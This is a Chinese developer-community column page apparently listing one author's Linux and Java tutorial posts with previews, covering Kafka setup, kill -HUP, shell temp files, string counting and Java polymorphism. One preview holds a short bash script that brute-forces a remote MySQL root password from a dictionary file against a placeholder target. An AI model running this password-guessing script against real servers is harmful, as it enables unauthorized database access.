首页
学习
活动
专区
工具
TVP
发布

葫芦

专栏作者
307
文章
844307
阅读量
34
订阅数
teg 部署kafka
tar –zxvf jdk-8u152-linux-x64.tar.gz –C /usr/local/
葫芦
2019-11-26
5250
linux kill -HUP pid
kill -HUP pid  pid 是进程标识。如果想要更改配置而不需停止并重新启动服务,请使用该命令。在对配置文件作必要的更改后,发出该命令以动态更新服务配置。
葫芦
2019-06-19
4.5K0
linux shell创建临时文件
[root@aoi ~]# cat d #!/bin/bash #creating and using a temp file tempfile=`mktemp wz19.XXXXXX` exec 3>$tempfile echo "This script write to temp file $tempfile" echo "This is the first line" >&3 echo "This is the second line" >&3 echo "This is the last line" >&3 exec 3>&- echo "Done creating temp file. The contents are:" cat $tempfile rm -f $tempfile 2> /dev/null [root@aoi ~]# sh d This script write to temp file wz19.gnxX9K Done creating temp file. The contents are: This is the first line This is the second line This is the last line [root@aoi ~]# ls -al wz19* ls: cannot access wz19*: No such file or directory ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ mktemp -t wz.XXXXXX会将文件创建在系统临时文件夹下 [root@aoi ~]# mktemp -t wz.XXXXXX /tmp/wz.cs6mCq [root@aoi ~]# cat s #!/bin/bash tempfile=`mktemp -t tmp.XXXXXX` echo "This is a test file." > $tempfile echo "This is the second line of the test." >>$tempfile echo "The temp file is located at: $tempfile" cat $tempfile rm -f $tempfile [root@aoi ~]# sh s The temp file is located at: /tmp/tmp.xpLNt9 This is a test file. This is the second line of the test. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ [root@aoi dir.BEEbII5]# cat ../a #!/bin/bash tempdir=`mktemp -d dir.XXXXXXX` cd $tempdir tempfile1=`mktemp temp.XXXXXX` tempfile2=`mktemp temp.XXXXXX` exec 7> $tempfile1 exec 8> $tempfile2 echo "Sending data to directory $tempdir" echo "This is a test line of data for $tempfile1" >&7 echo "This is a test line of data for $tempfile2" >&8 [root@aoi dir.BEEbII5]# ll total 8 -rw-------. 1 root root 44 Nov 20 08:24 temp.D3JWPR -rw-------. 1 root root 44 Nov 20 08:24 temp.n0IElP [root@aoi dir.BEEbII5]# cat temp.D3JWPR This is a test line of data for temp.D3JWPR [root@aoi dir.BEEbII5]# cat temp.n0IElP This is a test line of data for temp.n0IElP ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ tee filename 它将从STDIN 过来的数据同时发给两个目的地。一个目的地是STDOUT一个是 tee命令指定的文件名 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ [root@aoi dir.BEEbII5]# date | tee wz Wed Nov
葫芦
2019-05-10
2.7K0
linux shell配合密码字典破解远程mysql密码
[cc lang="bash"] #!/bin/bash a=1 for t in `cat pass2` do mysql -u root -h “TARGETIP” -p$t 2>ss2 if [ ! -s ss2 ] then echo $t>password2 break fi echo "$a">ss3 a=$[ $a + 1 ] cat /dev/null >ss2 done [/cc] pass2: 是密码字典文件 mysql -u root -h 168.168.168.168 -p$t 2>ss2 : 错误的提示信息都输出到ss2,并每次都重新创建。
葫芦
2019-05-09
2.7K0
linux 计算一个字符串中有多少个大写字母和小写字母
由于最近学java写了一个类似功能,就想着用bash 也写个看看,练下手。代码放出: #!/bin/bash s=asffsdAd32DSsdi@#!\$fihiZFSF87768Z a=0 A=0 b=0 length=`echo ${#s}` for((i=0;i< lengthibr>do e=`echo ${s:$i:1}` if [[ $e = [[:lower:]] ]] then a=$[ $a+1 ] elif [[ $e = [[:upper:]] ]] then A=$[ $A+1 ] else b=$[ $b+1 ] fi done echo "a-z" have nuber: $a echo "A-Z" have number: $A echo "Other" have number: $b 如果字符串中有$字符必须转义,否则影响结果,下面给出运行结果。 [root@wangzi test]# sh charat a-z have nuber: 14 A-Z have number: 8 Other have number: 11
葫芦
2019-05-09
9670
java 多态 向上转型 后期绑定一例
switch中的 default 语句不管放在哪个位置,都是在所有case都不满足的情况下最后执行。 foreach语句 for(元素类型 元素变量;遍历对像) 变量元素.draw()即 遍历对象.draw();foreach即for每一个。 for (Shap shp: s) shp.draw(); 个人理解,当 s[0]=gen.next();时 调用RandomShapeGenerator 中的next方法,执行语句case0-2其中一个return语句得到指向Circle Square Triangle 其中的一个引用,并将其以Shape类型发送出去。此例中当return语句指向Circle时 shp.draw() 即将shp元素变量替换为Circle对象,调用Shap类型 Circle对象draw 方法。 package javahaonan.shape; public class Shape { public void draw() {} public void erase() {} } package javahaonan.shape; import static javahaonan.Print.*; public class Circle extends Shape { public void draw() { print ("Circle。draw()");} public void erase() {print ("Cricle.erase()");} } package javahaonan.shape; import static javahaonan.Print.*; public class Square extends Shape { public void draw(){print("Square.draw()");} public void erase(){print("Square.erase()");} } package javahaonan.shape; import static javahaonan.Print.*; public class Triangle extends Shape { public void draw(){print("Trinagle.draw()");} public void erase(){print("Trinagle.erase()");} } package javahaonan.shape; import java.util.*; public class RandomShapeGenerator { private Random rand = new Random(); public Shape next(){ switch(rand.nextInt(3)){ default: case 0:return new Circle(); case 1:return new Square(); case 2:return new Triangle(); } } } package javahaonan.shape; public class Shapes { private static RandomShapeGenerator gen = new RandomShapeGenerator(); public static void main(String[] args) { Shape[] s=new Shape[9]; for (int i=0;i s[i]=gen.next(); for(Shape shp: s) shp.draw(); } }/output* Square.draw() Trinagle.draw() Square.draw() Circle。draw() Square.draw() Trinagle.draw() Trinagle.draw() Trinagle.draw() Trinagle.draw() */
葫芦
2019-05-09
5180
没有更多了
社区活动
Python精品学习库
代码在线跑,知识轻松学
【玩转EdgeOne】征文进行中
限时免费体验,发文即有奖~
博客搬家 | 分享价值百万资源包
自行/邀约他人一键搬运博客,速成社区影响力并领取好礼
技术创作特训营·精选知识专栏
往期视频·干货材料·成员作品·最新动态
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档